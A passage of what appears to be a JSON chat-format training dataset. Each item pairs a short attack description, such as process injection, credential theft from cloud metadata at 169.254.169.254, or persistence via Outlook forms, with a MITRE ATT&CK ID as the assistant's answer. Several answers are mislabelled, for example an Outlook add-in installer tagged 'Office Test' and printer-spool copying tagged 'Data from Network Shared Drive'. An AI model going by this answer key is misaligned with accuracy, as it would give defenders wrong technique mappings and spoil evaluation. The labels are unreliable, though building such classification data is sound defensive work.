                "content": "An insider at a software development firm injected a backdoor into the codebase, which was later delivered to customers through routine software updates."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script exploits a known flaw in a Java application to downgrade the supported TLS versions, causing the application to accept connections using outdated protocols."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages ptrace to hijack a legitimate process, overwriting its memory with a payload before resuming execution."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary contacts a victim via a conference call, impersonates a vendor, and requests the sharing of VPN credentials to 'resolve' a critical update."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses ARP reply packets to transmit encryption keys to the attacker’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a DNS tunneling technique to exfiltrate a tool and then re-download it onto the target."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs process injection by calling OpenThread and QueueUserAPC to run code in an existing thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker splits the malicious payload into multiple small pieces and reassembles them in memory to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script monitors USB insertion events and, upon detection, copies all newly created documents to the removable drive."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident featured the use of a legitimate software distribution service to silently install a keylogger on user workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor obtained a licensed vulnerability scanner by compromising a partner organization’s account and used it for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool modifies the com.apple.loginwindow.plist to auto-login a specific user account."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal set up a fake domain mimicking a reputable vendor and successfully obtained a code signing certificate through automated validation."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor performs a directory traversal on a Samba share to locate and steal source code archives."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT exploits a third‑party web service to receive updated malicious modules via HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets up a reverse shell over port 8080, a common web server port, to blend in with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered via a trusted software update from a legitimate supplier that has been tampered with by the adversary."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary updates the pam.d configuration to execute a script that steals SSH keys upon user login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code stops the 'spoolsv.exe' service, halting all printer operations on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates the System Configuration tool to enable Safe Mode, limiting defensive mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtained a DNS server from a hosting provider to manipulate DNS records for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit kit serves a stripped payload that has had its import table obfuscated and unnecessary sections stripped to conceal its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes `net group /domain` to discover domain groups, but also checks local groups via `net localgroup`."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs 'Get-WmiObject Win32_PnPEntity' via PowerShell to harvest device driver info."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infected millions of IoT devices with malware to create a botnet for launching DDoS attacks against the victim's web services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests passive DNS data from public sources to uncover subdomains and infrastructure tied to a victim organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts configuration details that reveal how trust relationships are established between different network segments."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool performs process injection on Unix systems by attaching via ptrace and dumping the process's memory for manipulation."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Outlook add‑in is installed via a crafted .exe installer, enabling code execution whenever Outlook is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a malicious DDE link in a Word document that, when opened, triggers the execution of a PowerShell payload via Dynamic Data Exchange."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection rewrites the EFI System Partition to include a signed but malicious driver that loads at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts group policy objects to map permission groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs malicious JavaScript within a PDF document, which, when opened, uses the JavaScript engine to run a PowerShell command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial access, the actor stages the exfiltrated logs in a separate partition to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT obtained a code‑signing certificate by compromising the private key of an internal signing authority after phishing the PKI administrator."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spear phishing for targeted data theft and espionage"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows Registry to associate .pdf files with a hidden backdoor, enabling execution each time a PDF is viewed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a hidden stored procedure to the SQL Server database that runs a PowerShell payload to download and execute ransomware on the host."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use TLS over port 443 to blend C2 traffic with legitimate web traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom reflective loader that reconstructs an ELF binary in memory, resolves dependencies, and executes it, bypassing traditional loading mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors provision a virtual machine in Azure and install a hidden C2 server behind a web service."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used compromised credentials to call the GCP firewall API and set 'allow all' rules, nullifying the cloud firewall's protective capabilities."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a script that empties the history buffer and overwrites the history file to prevent forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious Outlook form that runs a PowerShell payload every time the user opens Outlook, leveraging the Office Application Startup vector."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker establishes a dedicated Outlook mailbox to exfiltrate data and maintain persistence on the network."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT31 removes persistence by clearing scheduled jobs, disabling autostart entries, and erasing related log files."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool disables the built-in System Restore feature and removes all restore point files from the disk."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool applies a custom BCD (binary‑coded decimal) encoding to exfiltrated data to evade network monitors."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan copies PDF documents from the user's default printer spool directory."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a password spraying attack across multiple accounts to avoid account lockout."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies existing Outlook rules to delete certain security alert emails, preventing detection of the compromise."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leverages the at command on Linux to schedule a script that periodically pushes database dumps to a malicious IP."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses Windows Remote Management (WinRM) to execute PowerShell commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors send HTTP GET requests to the metadata API at 169.254.169.254 to extract temporary credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering was employed to persuade a victim to reveal their Snapchat recovery phrase, enabling account takeover."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a custom resolver to look up hostnames from a list of domains, enabling flexible command and control."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved extracting SSH private keys from a Kubernetes secret store using a compromised pod."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses DNS AAAA records to obtain IPv6 addresses for the C2, calculating the correct endpoint dynamically."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the AppInit_DLLs registry entry, the threat actor ensures its malicious library is injected into all processes that load user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Linux server runs a cron job that executes a malicious shell script every day."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a remote PowerShell command to export all messages from a victim's mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a PowerPoint add‑in that runs a reverse shell whenever PowerPoint is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor encrypts its beacon payload with the attacker’s public key, ensuring the traffic remains confidential on the network."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a moniker for a COM component and then accesses it from a different process to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a custom directory at the front of the PATH environment variable in a compromised service, causing subsequent command executions to run compromised binaries."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals compromise a vulnerable content management system (CMS) to embed malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a scheduled task that synchronizes SharePoint folders with a cloud storage bucket they control."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leveraged Docker's API to execute arbitrary commands in the host's container runtime."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests information from internet forums, social media, and public code repositories to map the organization’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a hardware OEM’s firmware signing process, enabling distribution of signed malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries examine social media posts of employees to infer the geographic location of the company's main campus."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages PowerShell's Compress-Archive cmdlet to bundle data."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software establishes a peer‑to‑peer encrypted channel over QUIC, exfiltrating data without employing a traditional C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing email, appearing to be from a colleague, asks recipients to download an invoice attachment that installs malware."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the Outlook home page URL to a phishing site that delivers additional malware when Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors collected the target’s organization chart from publicly available annual reports."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed as a port monitor and added to the HKLM\\System\\CurrentControlSet\\Control\\Print\\Monitors key for persistence."
